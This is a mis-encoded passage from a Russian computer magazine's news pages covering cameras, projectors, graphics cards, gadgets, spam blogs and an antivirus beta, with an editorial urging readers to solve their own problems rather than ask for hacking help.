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ÌÍÅ ×ÀÑÒÎ ÏÐÈÕÎÄßÒ ÏÈÑÜÌÀ Ñ ÏÐÎÑÜÁÀÌÈ
ÂÇËÎÌÀÒÜ ÊÀÊÎÉ-ÍÈÁÓÄÜ ÑÀÉÒ ÍÀ NAROD.RU, 
ÏÎÌÎ×Ü ÏÎËÓ×ÈÒÜ ÄÎÑÒÓÏ Ê ÏÎ×ÒÅ È Ò.Ä. ÏÀÐÍÈ
ÍÅ ÎÁËÀÌÛÂÀÞÒÑß. ÎÍÈ ÏÐÎÑÒÎ «ÊËÀÄÓÒ» ÍÀ
ÐÅØÅÍÈÅ ÑÂÎÈÕ ÏÐÎÁËÅÌ È ÏÅÐÅÊËÀÄÛÂÀÞÒ ÈÕ
ÍÀ ÄÐÓÃÎÃÎ. ÃÐÓÑÒÍÎ ÎÑÎÇÍÎÂÀÒÜ, ÍÎ ÁÎËÜØÈÍ-
ÑÒÂÎ ÈÇ ÍÀÑ ÏÐÎÑÒÎ ÍÅ ÏÐÈÂÛÊËÈ ÑÀÌÎÑÒÎßÒÅËÜ-
ÍÎ ÐÅØÀÒÜ ÑÂÎÈ ÏÐÎÁËÅÌÛ. ÂÅÄÜ ÝÒÎ ÍÅ ÒÀÊ

ÑËÎÆÍÎ ÏÎÑÒÀÂÈÒÜ ÄËß ÑÅÁß ÖÅËÜ. ÏÎÍßÒÜ, ×ÒÎ
ÍÅÎÁÕÎÄÈÌÎ ÄËß ÅÅ ÄÎÑÒÈÆÅÍÈß, È ÍÀ×ÀÒÜ ÄÂÈ-
ÃÀÒÜÑß ÏÎ ÍÀÏÐÀÂËÅÍÈÞ Ê ÍÅÉ. È ÒÎÃÄÀ ÂÎÏÐÎÑÛ:
ÊÀÊ ÑÄÅËÀÒÜ ÝÒÎ, ÊÀÊ ÑÄÅËÀÒÜ ÒÎ, ÁÓÄÓÒ ÎÒÏÐÀÂ-
ËßÒÜÑß ÍÅ ÍÀ ÏÎ×ÒÓ ÆÓÐÍÀËÀ, À ÎÒÊËÀÄÛÂÀÒÜÑß 
Â ÃÎËÎÂÅ. ÏÎÂÅÐÜ, ÃÎÐÀÇÄÎ ÏÐÈßÒÍÅÅ, ÊÎÃÄÀ ÒÛ
ÄÎÕÎÄÈØÜ ÄÎ ×ÅÃÎ-ÒÎ ÑÀÌ, À ÍÅ ÊÀÊ Â ØÊÎËÅ ÈËÈ
Â ÈÍÑÒÈÒÓÒÅ ÑÌÎÒÐÈØÜ Â ÑÎÑÅÄÑÊÓÞ ÒÅÒÐÀÄÊÓ.
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ñðåäñòâàì ìàññîâûõ 
êîììóíèêàöèé ÏÏÈÈ ßß  7777-1111880022 
îò 14 ôåâðàëÿ 2002 ã.
Îòïå÷àòàíî â òèïîãðàôèè 
«SSccaannWWeebb», Ôèíëÿíäèÿ
Òèðàæ 9922 000000 ýêçåìïëÿðîâ. 
Öåíà äîãîâîðíàÿ.
Ìíåíèå ðåäàêöèè íå îáÿçàòåëüíî
ñîâïàäàåò ñ ìíåíèåì àâòîðîâ.

Ðåäàêöèÿ óóâåäîìëÿåò: ââñå ììà-
òåðèàëû ââ ííîìåðå ïïðåäîñòàâ-
ëÿþòñÿ êêàê èèíôîðìàöèÿ 
ê ððàçìûøëåíèþ. 
Ëèöà, èèñïîëüçóþùèå ääàííóþ
èíôîðìàöèþ ââ ïïðîòèâîçàêîí-
íûõ ööåëÿõ, ììîãóò ááûòü ïïðèâ-
ëå÷åíû êê îîòâåòñòâåííîñòè.
Ðåäàêöèÿ ââ ýýòèõ ññëó÷àÿõ îîòâå-
òñòâåííîñòè ííå ííåñåò.

Ðåäàêöèÿ íå íåñåò îòâåòñòâåí-
íîñòè çà ñîäåðæàíèå ðåêëàìíûõ
îáúÿâëåíèé â íîìåðå. Çà ïåðåïå-
÷àòêó íàøèõ ìàòåðèàëîâ áåç
ñïðîñà � ïðåñëåäóåì.
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ØÅÑÒÜ ÌÅÃÀÏÈÊÑÅ-
ËÅÉ ÍÀ ËÀÄÎÍÈ

Êîìïàíèÿ Konica Minolta ðåøèëà ïîðàäîâàòü íàñ î÷åðåäíîé ôîòîêàìå-
ðîé � íîâîå äåòèùå ýòîãî ïðîèçâîäèòåëÿ íà DiMage Z6. Ýòî ìíîãîôóíê-
öèîíàëüíàÿ öèôðîâàÿ ôîòîêàìåðà ñ 12-êðàòíûì îïòè÷åñêèì è 4-êðòà-
íûì öèôðîâûì zoom'îì, ñèñòåìîé ñòàáèëèçàöèè èçîáðàæåíèÿ Anti-
Shake, 6-ìåãàïèêñåëüíîé ìàòðèöåé ÏÇÑ, ñèñòåìîé áûñòðîé âûñîêîòî÷-
íîé àâòîôîêóñèðîâêè, à òàêæå 2-äþéìîâûì ÆÊ-ýêðàíîì äëÿ êàäðèðî-
âàíèÿ ñíèìêîâ è óïðàâëåíèÿ ôîòîêàìåðîé. Ìíîãîîáðàçèå ôóíêöèé íà-
âåðíÿêà ïîíðàâèòñÿ òåì, êòî ñ÷èòàåò ôîòîàïïàðàò íå «ìûëüíèöåé», à
÷åì-òî ãîðàçäî áîëüøèì. Íàïðèìåð, ðåæèì ïðîãðåññèâíîé ñúåìêè ïðè-
ãîäèòñÿ ïðè ñîçäàíèè ñåðèè íåïðåðûâíûõ ïîëíîðàçìåðíûõ èçîáðàæå-
íèé ñî ñêîðîñòüþ ïðèáëèçèòåëüíî 2,1 êàäðà â ñåêóíäó. Äëÿ ýòîãî ïðîñ-
òî íóæíî äåðæàòü êíîïêó ñïóñêà çàòâîðà íàæàòîé, òàêèì îáðàçîì ìîæ-
íî ñôîòîãðàôèðîâàòü çíàêîâûé ìîìåíò ïåðåñå÷åíèÿ äðóãîì ôèíèøíîé
÷åðòû ñòîìåòðîâêè, ïðè÷åì ñ îòëè÷íûì, íåðàçìûòûì, êà÷åñòâîì. Îá-
ðàòíî, ôóíêöèÿ ìàêðîñúåìêè ïîçâîëÿåò äåëàòü ñíèìêè îáúåêòîâ, íàõî-
äÿùèõñÿ íà ðàññòîÿíèè 1 ñàíòèìåòðà îò îáúåêòèâà.

BENQ Â ÄÎÌÀØÍÅÌ
ÊÈÍÎÒÅÀÒÐÅ
Ñîçäàâàÿ ñâîé äîìàøíèé êèíîòå-
àòð, âàæíî íå çàáûòü î ïðîåêòîðå,
èíà÷å ýôôåêò áóäåò ñîâñåì íå òîò.
Êîìïàíèÿ BenQ ïðåäëàãàåò äëÿ
ðåøåíèÿ ýòîé ïðîáëåìû ñâîé íî-
âûé ïðîåêòîð PE8720. Â åãî îñíî-
âó ïîëîæåí ÷èï HD3 DarkChip DMD
ïðîèçâîäñòâà Texas Instruments,
÷òî îáåñïå÷èâàåò óñòðîéñòâó êîíò-
ðàñòíîñòü 6200:1 è 1009 ANSI ëþìåíîâ ÿðêîñòè. Âûâîäèìîå èçîáðàæå-
íèå èìååò êèíîôîðìàò 16:9, êðîìå òîãî, ïðîåêòîð èçäàåò î÷åíü ìàëî
øóìà � âñåãî 23 äÁ. Äëÿ ïîâûøåíèÿ óäîáñòâà è êà÷åñòâà ðàáîòû, â ïðî-
åêòîðå ïðèìåíÿåòñÿ ôèðìåííàÿ òåõíîëîãèÿ Senseye, êîòîðàÿ îáåñïå÷è-
âàåò íàòóðàëüíîñòü öâåòîâ è ÷åòêîñòü êàðòèíêè. Êðîìå àâòîìàòè÷åñêîé
äèíàìè÷åñêîé ïîäñòðîéêè êà÷åñòâà èçîáðàæåíèÿ, êîððåêöèè ÿðêîñòè è
öâåòîïåðåäà÷è, òåõíîëîãèÿ Senseye òàêæå îáåñïå÷èâàåò îïòèìàëüíóþ
íàñòðîéêó êîíòðàñòà, öâåòà è ÷åòêîñòè èçîáðàæåíèÿ. Íó, à â çàêëþ÷åíèå
ñòîèò ñêàçàòü, ÷òî ýòîò ïðîåêòîð ñîâìåñòèì ñ ôîðìàòîì HDTV. 

ÏÐÎÍÈÊÍÎÂÅÍÈÅ
SATA ÏÐÎÄÎËÆÀÅÒÑß

Âñå áîëüøå è áîëüøå óñòðîéñòâ ñ
ýòèì èíòåðôåéñîì çàïîëçàþò
âíóòðü íàøèõ ñèñòåìíûõ áëîêîâ.
Ñåãîäíÿ íà î÷åðåäè îïòè÷åñêèé
ïðèâîä ASUS CB-5216A1T. Ýòî
êîìáî-äèñêîâîä ñâÿçûâàåòñÿ ñ ÏÊ
÷åðåç ðàçúåì Serial ATA è ïîääåð-
æèâàåò ðàáîòó êàê ñ CD ÷òåíèå/çà-
ïèñü ñî ñêîðîñòüþ 52X, ïåðåçà-
ïèñü ñî ñêîðîñòüþ 32Õ), òàê è ñ
DVD (÷òåíèå íà ñêîðîñòè 16Õ). Äó-
ìàþ, óæå íè äëÿ êîãî íå ñåêðåò,

÷òî íàì äàåò SATA � ëåãêîå è óäîáíîå ïîäêëþ÷åíèå, âûñîêóþ ñêî-
ðîñòü ðàáîòû, àêêóðàòíûå ïðîâîäà, à ñëåäîâàòåëüíî, óëó÷øåííûé òîê
âîçäóõà âíóòðè ñèñòåìíîãî áëîêà. Íåñêîëüêî ôèðìåííûõ òåõíîëîãèé
ASUS ïîìîãàþò óëó÷øèòü ðàáîòó óñòðîéñòâà è ñäåëàòü åå áîëåå áåçî-
ïàñíîé. Ýòî FlextraLink, ïðåäîòâðàùàþùàÿ îøèáêè, ñâÿçàííûå ñ íåäî-
çàãðóçêîé áóôåðà è èñêëþ÷àþùàÿ âîçìîæíîñòü ïîð÷è äèñêîâ,
FlextraSpeed, óâåëè÷èâàþùàÿ òî÷íîñòü è íàäåæíîñòü ïðè ÷òåíèè/çàïè-
ñè/ïåðåçàïèñè è ñèñòåìà äâîéíîé äèíàìè÷åñêîé ïîäâåñêè DDSS II, êî-
òîðàÿ ñòàáèëèçèðóåò îïòè÷åñêóþ ãîëîâêó ïî âåðòèêàëè è ïî ãîðèçîíòà-
ëè, çà ñ÷åò ÷åãî äîñòèãàåòñÿ áîëåå òî÷íîå ñëåæåíèå çà äîðîæêîé è ñíè-
æåíèå óðîâíÿ âèáðàöèè è øóìà.

SAPPHIRE È ATI 
ÏÐÎÄÎËÆÀÞÒ 
ÑÎÒÐÓÄÍÈ×ÅÑÒÂÎ

Ãðàôè÷åñêèå àäàïòå-
ðû, ïîñòðîåííûå íà
íîâåéøåì ÷èïå ATI
Radeon X800GTO âû-
ïóñòèëà êîìïàíèÿ
Sapphire. Îíè ìîãóò
ïîõâàñòàòüñÿ 12-ïèê-
ñåëüíûìè êîíâåéåðà-
ìè, 256-áèòíàÿ øèíîé
ïàìÿòè (åå îáúåì ñîñ-
òàâëÿåò 256 Ìá, ëà-
òåíòíîñòü 1,6 íñ, òèï �
GDDR3, òàêòîâàÿ ÷àñ-
òîòà ðàáîòû 900 ÌÃö,).
Ñàì ÃÏ èìååò òàêòî-
âóþ ÷àñòîòó 400 ÌÃö.
Åñëè òåáå ïîêàæåòñÿ,
÷òî ýòî êàê-òî ìàëîâàòî,
òî ê òâîèì óñëóãàì �

ôèðìåííàÿ òåõíîëîãèÿ ðàçãîíà TRIXX. Åñëè òû íå îâåðêëîêåð, òî äëÿ
òåáÿ Sapphire ïðåäóñìîòðåëà äðóãîé âàðèàíò óâåëè÷åíèÿ ïðîèçâîäè-
òåëüíîñòè � ñïåöèàëüíóþ âåðñèþ ïëàòû, îáîçíà÷åííóþ ôýíòåçèéíûì
íàçâàíèåì FireBlade. Ó íåå â çàâîäñêèõ óñëîâèÿõ óâåëè÷èëè ÷àñòîòû ðà-
áîòû ãðàôè÷åñêîãî ïðîöåññîðà è ïàìÿòè (äî 550 è 1080 ÌÃö), à òàêæå
óñòàíîâèëè áîëåå ìîùíûé êóëåð. Îñòàëüíûå ïàðàìåòðû îñòàëèñü òàêè-
ìè æå, êàê è ó îáû÷íîé âåðñèè � 256 Ìá ïàìÿòè GDDR3 ñ ëàòåíòíîñòüþ
1,6 íñ, 12 êîíâåéåðîâ, 256-áèòíàÿ øèíà. Â êîíöå îêòÿáðÿ ïëàòû óæå
ìîæíî áóäåò ïðèîáðåñòè.

HITECHNEWS
Ôåäîð Ãàëêîâ 
(fm@real.xakep.ru)

HARDNEWS
Ñåðãåé Íèêèòèí 

][NEWS
mindw0rk 
(mindw0rk@gameland.ru)

HARDNEWS

MMEEGGAA
NEWS
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ÆÈÂÀß ÐÅÊËÀÌÀ
Íà êàêèå òîëüêî èçîùðåíèÿ
íå èäóò ðåêëàìùèêè, ÷òîáû
ïðèâëå÷ü âíèìàíèå ïîòåí-
öèàëüíîãî ïîêóïàòåëÿ. Íà
ýòîò ðàç îòëè÷èëàñü áåëü-
ãèéñêàÿ äèçàéí-ñòóäèÿ Ogilvy
(www.ogilvy.be) ñ íîâîé ðåê-
ëàìíîé êîìïàíèåé äëÿ àâ-
òîìîáèëüíîãî ãèãàíòà Ford.
Íà ïåðâûé âçãëÿä, ðåêëàìà
ïðåäñòàâëÿåò ñîáîé ñòàíäà-
ðòíûé áèëëáîðä ñ íàðèñî-
âàííîé ôèçèîíîìèåé, îäíà-
êî êîãäà â åå ïîëå çðåíèÿ
ïîÿâëÿåòñÿ î÷åðåäíîé ïðî-
õîæèé, òî èçîáðàæåíèå âíå-
çàïíî îæèâàåò è íà÷èíàåò
ãîëîñîì ïîäçûâàòü ïåðåïó-
ãàííîãî ÷åëîâåêà. Êîãäà
òîò ïîäõîäèò áëèæå, òî áèë-
ëáîðä íà÷èíàåò ðàññêàçûâàòü åìó ïðî âñå ïðåèìóùåñòâà ðåêëàìèðóå-
ìîãî òîâàðà, ïî õîäó áåñåäû äàæå îòâå÷àÿ íà âîïðîñû, ïðè ýòîì ôèçè-
îíîìèÿ íà ýêðàíå äâèãàåò ãóáàìè â òàêò ðå÷è è êîð÷èò çàáàâíûå ãðèìà-
ñû. Ê ñîæàëåíèþ, èñêóññòâåííûì èíòåëëåêòîì áèëëáîðä íå íàäåëåí,
ïðîñòî ðÿäîì â ñïåöèàëüíîé áóäêå ïðÿ÷åòñÿ àêòåð, êîòîðûé è óïðàâëÿ-
åò âñåì ïðîöåññîì.

ÝËÅÊÒÐÎÍÍÛÉ 
ÇÀÌÎÊ
Ñî âõîæäåíèåì â ìîäó âñåâîçìîæíûõ áåñïðîâîäíûõ óñòðîéñòâ, óæå
ñëîæíî êîãî-ëèáî óäèâèòü î÷åðåäíîé íîâèíêîé. Îäíàêî áåñïðîâîäíîé
íàâåñíîé çàìîê � ýòî òî÷íî ÷òî-òî íîâîå. Äëÿ îòêðûòèÿ õèòðîãî ïðèñ-
ïîñîáëåíèÿ äîñòàòî÷íî íàïðàâèòü â åãî ñòîðîíó ñïåöèàëüíûé èíôðàê-
ðàñíûé ïóëüò è íàæàòü ñîîòâåòñòâóþùóþ êíîïêó, ïîñëå ÷åãî çàïèðàþ-
ùàÿ ñêîáà àâòîìàòè÷åñêè îòùåëêíåòñÿ. Çàìîê ãàðàíòèðóåò ìåõàíè÷åñ-
êóþ çàùèòó áëàãîäàðÿ èñïîëüçîâàíèþ âûñî-
êîïðî÷íîé ñòàëè, à ýëåêòðîííóþ � áëàãîäàðÿ 4
ìèëëèàðäàì âîçìîæíûõ êîìáèíàöèé îòêðûâà-
þùåãî êîäà. Äåâàéñ óæå ïîñòóïèë â ïðîäàæó è
ñòîèò âñåãî 19.95 ó.å. Âîò òîëüêî èíòåðåñíî,
êàê âûñîêîòåõíîëîãè÷íàÿ íîâèíêà îòðåàãèðóåò
íà ðîññèéñêèå êðåùåíñêèå ìîðîçû?

ÑÀÌÛÉ-ÑÀÌÛÉ 
ÌÀËÅÍÜÊÈÉ

Àìåðèêàíñêèì ó÷å-
íûì èç êîëëåäæà â
Äàðìóòå óäàëîñü ñîç-
äàòü ñàìîãî ìàëåíü-
êîãî ìîáèëüíîãî ðî-
áîòà â ìèðå. Íåñìîò-
ðÿ íà ñâîè ìèêðîñêî-
ïè÷åñêèå ðàçìåðû (250
íà 60 ìèêðîìåòðîâ �
ýòî òîíüøå ÷åëîâå-
÷åñêîãî âîëîñà), ìà-
ëþòêà óïðàâëÿåòñÿ áåç
ïðîâîäîâ è ìîæåò ïå-
ðåäâèãàòüñÿ â ëþáîì

çàäàííîì íàïðàâëåíèè â ïðåäåëàõ ñïåöèàëüíîé ïëàñòèíû, îò êîòîðîé
îí è ïèòàåòñÿ. Ïðè ýòîì ðîáîò äîâîëüíî øóñòðûé, äâèãàÿñü ïî ïðèíöèïó
ãóñåíèöû, îí ìîæåò ðàçâèâàòü ñêîðîñòü äî 200 ìèêðîìåòðîâ â ñåêóíäó,
âïðî÷åì, îí ñïîñîáåí íå òîëüêî ïîëçòè, íî è òîëêàòü ïåðåä ñîáîé ïûëèí-
êè èëè äðóãèå ñîðàçìåðíûå îáúåêòû. Íî ýòèì äåëî íå îãðàíè÷èâàåòñÿ, íà
ðàçðàáîòêó âîçëàãàþò áîëüøèå íàäåæäû: ïðåäïîëàãàåòñÿ â äàëüíåéøåì
èñïîëüçîâàòü ñõîäíûõ ìàëûøåé äëÿ ïîñòðîåíèÿ äðóãèõ ðîáîòîâ èëè ïðî-
÷èõ ìèêðîñêîïè÷åñêèõ óñòðîéñòâ.

ÝÍÅÐÃÅÒÈ×ÅÑÊÈÉ
ÐÞÊÇÀÊ

Èññëåäîâàòåëè èç àìåðèêàíñêîãî óíèâåðñèòåòà â øòàòå Ïåíñèëüâàíèÿ
íåäàâíî ïðåäñòàâèëè äîâîëüíî èíòåðåñíîå è ïåðñïåêòèâíîå èçîáðåòå-
íèå. Îíè çàìåòèëè, ÷òî ïðè õîäüáå ìû ïîñòîÿííî ðàñêà÷èâàåìñÿ èç ñòî-
ðîíû â ñòîðîíó, ïðè÷åì âî âðåìÿ ýòîãî ðþêçàê èëè ñóìêà áîëòàþòñÿ
íàìíîãî ñèëüíåå (â ñðåäíåì àìïëèòóäà êîëåáàíèÿ ïî âåðòèêàëè ñîñ-
òàâëÿåò 5�7 ñàíòèìåòðîâ). À âåäü, åñëè ýòó ýíåðãèþ íàïðàâèòü â ïðà-
âèëüíîå ðóñëî, òî èç ýòîãî ìîæíî èçâëå÷ü òîëê. Íà ýòîì ïðèíöèïå è
ïîñòðîåíî ôóíêöèîíèðîâàíèå äàííîãî óñòðîéñòâà: òðÿñêà ïðèâîäèò â
äâèæåíèå ìåõàíèçì, ñâÿçàííûé ñ ãåíåðàòîðîì, â ðåçóëüòàòå ÷åãî è ïî-
ÿâëÿåòñÿ ýëåêòðè÷åñêèé òîê. Òàêèì îáðàçîì, åñëè ïîìåñòèòü ïîäîáíîå
ïðèñïîñîáëåíèå â ðþêçàê, òî ìîæíî, íàïðèìåð, ïî äîðîãå äîìîé çàðÿ-
äèòü ñîòîâûé, ÊÏÊ, ïëååð, íå çàòðà÷èâàÿ íà ýòî íèêàêèõ äîïîëíèòåëü-
íûõ óñèëèé. Îäíàêî, ê ñîæàëåíèþ, èçîáðåòåíèå ïîêà íå îñîáî ïðèìå-
íèìî íà ïðàêòèêå è íóæäàåòñÿ â ñåðüåçíîé äîðàáîòêå. Íå ñìîòðÿ íà òî,
÷òî ïîëåçíàÿ âûõîäíàÿ ìîùíîñòü ñîñòàâëÿåò óæå ïðèìåðíî 7 Âàòò, òàñ-
êàòü 38 êã ëèøíåãî âåñà íå äîñòàâèò íèêàêîãî óäîâîëüñòâèÿ.

ÑÂÅÒßÙÀßÑß ÑÓÌÊÀ
Ñòðàøíî âñïîìíèòü, ñêîëüêî ðàç ïðèõîäèëîñü ìó÷àòüñÿ, èùà íà îùóïü
íåáîëüøóþ âåùèöó íà äíå ðþêçàêà, à ÷òî ïðèõîäèòñÿ èñïûòûâàòü áåä-
íûì äåâóøêàì, â ñóìî÷êàõ êîòîðûõ è Áîèíã ïîòåðÿòüñÿ ìîæåò, ëó÷øå è
íå äóìàòü. Íå íîñèòü æå äëÿ ýòîãî åùå è ôîíàðèê, êîòîðûé, ìåæäó ïðî-
÷èì, è ñàì ìîæåò òî÷íî òàì æå çàòåðÿòüñÿ. Îäíîìó ñòóäåíòó èç Óíèâåð-
ñèòåòà Áðóíåëÿ ïðèøëî â ãîëîâó ðåøåíèå äàííîé ïðîáëåìû: íà äíå îí
óñòàíîâèë ïîäñâåòêó, êîòîðóþ çàïèòàë îò ñîëíå÷íîé áàòàðåè, çàêðåï-
ëåííîé íà áîêó ñóìêè. Ïðè ðàññòåãèâàíèè ìîëíèè ïîäñâåòêà àâòîìàòè-
÷åñêè âêëþ÷àåòñÿ, à ïðè çàñòåãèâàíèè � âûêëþ÷àåòñÿ, òàêæå äëÿ ñáå-
ðåæåíèÿ ýíåðãèè îñâåùåíèå îòêëþ÷àåòñÿ ïîñëå 15 ñåêóíä îòêðûòèÿ. È
åñëè åùå íå èçâåñòíî, ïîïàäåò ëè äàííàÿ âåùèöà íà ïîëêè ìàãàçèíîâ,
òî ñóìêè ñî ñâåòîäèîäíîé ïîäñâåòêîé îò áàòàðååê óæå ïîñòóïèëè â ïðî-
äàæó, âîò òîëüêî ñòîÿò îíè íå ìåíåå 100 åâðî.
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ÑÏÀÌ-ÁËÎÃÎÂ

Êàê ïðîäâèíóòûé èíòåðíåò÷èê, òû íàâåðíÿêà çíàêîì ñî ñëîâîì
«áëîã», âîçìîæíî, äàæå âåäåøü îäèí èç íèõ. Âåá-áëîãè â ïîñëåäíåå
âðåìÿ ñòàëè îäíèì èç ñàìûõ ïîïóëÿðíûõ ñåòåâûõ ðàçâëå÷åíèé. Íî
ñïàìåðû äîáðàëèñü óæå è äî íèõ. Êàçàëîñü áû, êàêèì îáðàçîì ðåê-
ëàìà â áëîãàõ ìîæåò ïîìåøàòü îáû÷íîìó þçåðó? Íå õî÷åøü ðåêëà-
ìû � íå çàõîäè íà ðåêëàìíûé áëîã. Íî íå âñå òàê ïðîñòî. Ñïàìåðû
èñïîëüçóþò ñïåöèàëüíûå ïðîãè, ñ ïîìîùüþ êîòîðûõ ìîæíî àâòîìà-
òè÷åñêè ãåíåðèòü ñòðàíèöû, ñîäåðæàùèå ëèíêè (èëè ïðÿìîé ðåäè-
ðåêò) íà ðåêëàìîäàòåëüíûå ñàéòû è êëþ÷åâûå ñëîâà, êîòîðûå áóäóò
èíäåêñèðîâàòüñÿ ïîèñêîâèêàìè. Êëþ÷åâûõ ñëîâ íà îäíîé ñòðàíèöå
ìîæåò áûòü ñêîëüêî óãîäíî � ÷åì áîëüøå, òåì âûøå âåðîÿòíîñòü,
÷òî ïàãà îêàæåòñÿ â ÷èñëå ïåðâûõ, êîòîðûå âûäàñò ïîèñêîâèê ïîñëå
ââîäà ýòîãî ñëîâà. À ÷òîáû åùå áîëüøå ïîâûñèòü ðåëåâàíòíîñòü ïà-
ãè, îíà âñå òàêæå àâòîìàòè÷åñêè ïîïîëíÿåòñÿ íîâûì êîíòåíòîì, êî-
òîðûé ñëèâàåòñÿ ñ îáû÷íûõ áëîãîâ áåç ññûëêè íà îðèãèíàë. Çà êàæ-
äûé ïåðåõîä ñ ëèïîâîãî áëîãà íà ðåêëàìèðóåìûé ñàéò, ñïàìåðó íà-
÷èñëÿþòñÿ äåíåæêè. Óáåäèâøèñü â ýôôåêòèâíîñòè òàêîãî ñïîñîáà
íàæèâû, ñïàìåðû íà÷àëè ïëîäèòü ëæåáëîãè ïà÷êàìè, è èõ êîëè÷åñò-
âî óæå åäâà ëè íå ïðåâûøàåò êîëè÷åñòâî ïîëüçîâàòåëüñêèõ áëîãîâ.
Ñåòåâûå àíàëèòèêè áüþò òðåâîãó è ïðèçûâàþò áîðîòüñÿ ñ íîâîé çà-
ðàçîé. Ïðè÷åì äåëàòü ýòî ðåêîìåíäóþò, â ïåðâóþ î÷åðåäü, êîìïàíè-
ÿì, ïðåäîñòàâëÿþùèì ïîèñêîâûå ñåðâèñû � ñîâåðøåíñòâîâàòü ñâîè
ôèëüòðû, ñîçäàâàòü áëýê-ëèñòû áëîãîâ è ò.ï. Ê ñ÷àñòüþ ðóíåò÷èêîâ,
livejournal � ñàìûé ïîïóëÿðíûé â Ðîññèè áëîã-ñåðâèñ, ïîêà íå ïîëü-
çóåòñÿ ïîïóëÿðíîñòüþ ó ñïàìåðîâ.

SPIDER GATE
Êîìïàíèÿ "Äîêòîð Âåá" ñîîáùàåò î ðàçðàáîòêå è íà÷àëå îòêðûòîãî
áåòà-òåñòèðîâàíèÿ íîâîãî ïðîãðàììíîãî ìîäóëÿ SpIDer Gate, ïðåä-
íàçíà÷åííîãî äëÿ ïðîâåðêè äàííûõ ïåðåäàâàåìûé ïî HTTP. 
SpIDer Gate ñâîåé ôóíêöèîíàëüíîñòüþ äîïîëíÿåò ïðîãðàììû-
áðàíäìàóýðû (firewalls): ïîñëåäíèå çàêðûâàþò óÿçâèìîñòè â ñèñòå-
ìå, ïðåäîòâðàùàÿ âîçìîæíûå ïîïûòêè çëîóìûøëåííèêîâ ïðîèç-
âåñòè âçëîì è ïîëó÷èòü äîñòóï ê ñèñòåìå. Îäíàêî îíè íå ñïîñîáíû
ïðîâåðÿòü ôàéëû, çàãðóæàåìûå ïîëüçîâàòåëåì èç Èíòåðíåòà (ôàé-
ëû, ïî÷òà è ò.ä.), ñðåäè êîòîðûõ ìîãóò áûòü òðîÿíñêèå ïðîãðàììû,
ñåòåâûå è ïî÷òîâûå ÷åðâè, à òàêæå äðóãèå
âèäû âðåäîíîñíîãî êîäà. Íîâûé ìîäóëü ÿâ-
ëÿåòñÿ ïðåêðàñíûì äîïîëíåíèåì ê óæå ñó-
ùåñòâóþùåìó ïî÷òîâîìó ôèëüòðó SpIDer
Mail®, êîòîðûé îñóùåñòâëÿåò àíòèâèðóñíóþ
âõîäÿùåé è èñõîäÿùåé ïî÷òû, à SpIDer Gate,
â ñâîþ î÷åðåäü, ïðîâåðÿåò http-òðàôèê.
Çàðåãèñòðèðîâàòüñÿ â êà÷åñòâå áåòà-òåñòåðà
è ïîëó÷èòü áåòà-âåðñèþ íîâîãî àíòèâèðóñíî-
ãî ìîäóëÿ ìîæíî íà ñàéòå êîìïàíèè "Äîêòîð
Âåá" (www.drweb.com)

ÌÅÃÀÄÎÌ

Íåäàâíî çàâåðøèëîñü ñòðîèòåëüñòâî óíèêàëüíîãî ñîîðóæåíèÿ �
Toyota Dream House PAPI � èíòåëëåêòóàëüíîãî äîìà, ïðåòåíäóþùåãî
íà çâàíèå «äîìà áóäóùåãî». Â îñíîâíîì, äîì ïîñòðîåí ñ ïðèìåíåíè-
åì äâóõ ìàòåðèàëîì � ñòåêëà è àëþìèíèÿ, ÷òî îòðàæàåò ïðåäñòàâëå-
íèÿ î äèçàéíå áóäóùåãî. Ïðè÷åì ïîìèìî òîãî, ÷òî äîì íàïè÷êàí
ýëåêòðîíèêîé ïðîñòî ïîä çàâÿçêó, íå çàáûëè è îá îçåëåíåíèè, è î äó-
øåâíîì êîìôîðòå æèëüöà. Åñòåñòâåííî, âñÿ áûòîâàÿ òåõíèêà ðàáîòà-
åò â ïîëíîñòüþ öèôðîâîì ðåæèìå è ìîæåò óïðàâëÿòüñÿ åäèíûì ïóëü-
òîì óïðàâëåíèÿ. Äîì ìîæåò äàæå çàáîòèòüñÿ î ñåáå ñàìîñòîÿòåëüíî,
íàïðèìåð, íà ñòåêëà íàíåñåíî ñïåöèàëüíî ñàìîî÷èùàþùååñÿ ïîêðû-
òèå, ÷òî ïîëíîñòüþ èçáàâëÿåò îò íåîáõîäèìîñòè èõ ìûòü. Îòäåëüíî
ñòîèò óïîìÿíóòü ïðî äîìàøíèé êèíîòåàòð, êîíå÷íî, îí ïîääåðæèâàåò
àáñîëþòíî âñå ñîâðåìåííûå òåõíîëîãèè (äèñêè âûñîêîé åìêîñòè, òå-
ëåâèäåíèå âûñîêîãî ðàçðåøåíèÿ è òàê äàëåå), íî åùå è ìîæåò àâòî-
ìàòè÷åñêîãî îïðåäåëÿòü ïîëîæåíèÿ çðèòåëÿ è îïòèìàëüíî ïîäñòðàè-
âàòü çâóêîâóþ êàðòèíó è äàæå îñâåùåíèå. Îñîáîå âíèìàíèå ïðè ïðî-
åêòèðîâàíèè äîìà áûëî óäåëåíî ïîòðåáëåíèþ ýëåêòðîýíåðãèè, âåäü
åñëè îòêëþ÷àò ýëåêòðè÷åñòâî, òî äëÿ äàííîãî êîòòåäæà ýòî áóäåò ðàâ-
íîñèëüíî êàòàñòðîôå. Ïîýòîìó äîì ìîæåò ñàìîñòîÿòåëüíî ïðîèçâî-
äèòü äëÿ ñåáÿ ÷àñòü ïîòðåáëÿåìîé ýíåðãèåé, â ÷àñòíîñòè äëÿ ýòîãî íà
êðûøå óñòàíîâëåíû ñîëíå÷íûå áàòàðåè, âíóòðè èìåþòñÿ ðåçåðâíûå
òîïëèâíûå ýëåìåíòû, à íà êðàéíèé ñëó÷àé ìîæíî äàæå öåëûõ ïîëòî-
ðà äíÿ ïèòàòüñÿ ýíåðãèåé îò ýëåêòðîìîáèëÿ, ïðèïàðêîâàííîãî â ãàðà-
æå. Íà äàííûé ìîìåíò äîì îòêðûò äëÿ ïîñåùåíèÿ òóðèñòîâ, âïðî÷åì,
ýòî ñäåëàíî ñî ñêðûòûì óìûñëîì, âåäü çàâåòíàÿ ìå÷òà êîìïàíèè �
ïåðåâåñòè ïîäîáíûå äîìà â ðàçðÿä ìàññîâûõ óæå ê 2010 ãîäó è, êîí-
÷åíî, íåïëîõî íà ýòîì ïîäçàðàáîòàòü.

ÐÓÊÀÂÈÖÀ 
ÄËß ÌÛØÊÈ

Õîëîäàòü ñòàëî, íå çàìå÷àåøü?
À òóò åùå è èç îêíà ïðîòèâíî äó-
åò, äàæå ìûøêó äåðæàòü ðóêà
ìåðçíåò. Ïîïðîáîâàòü íàäåòü
ïåð÷àòêó � òîæå íå âàðèàíò �
íå óäîáíî ïðîñòî. Îäíàêî î íà-
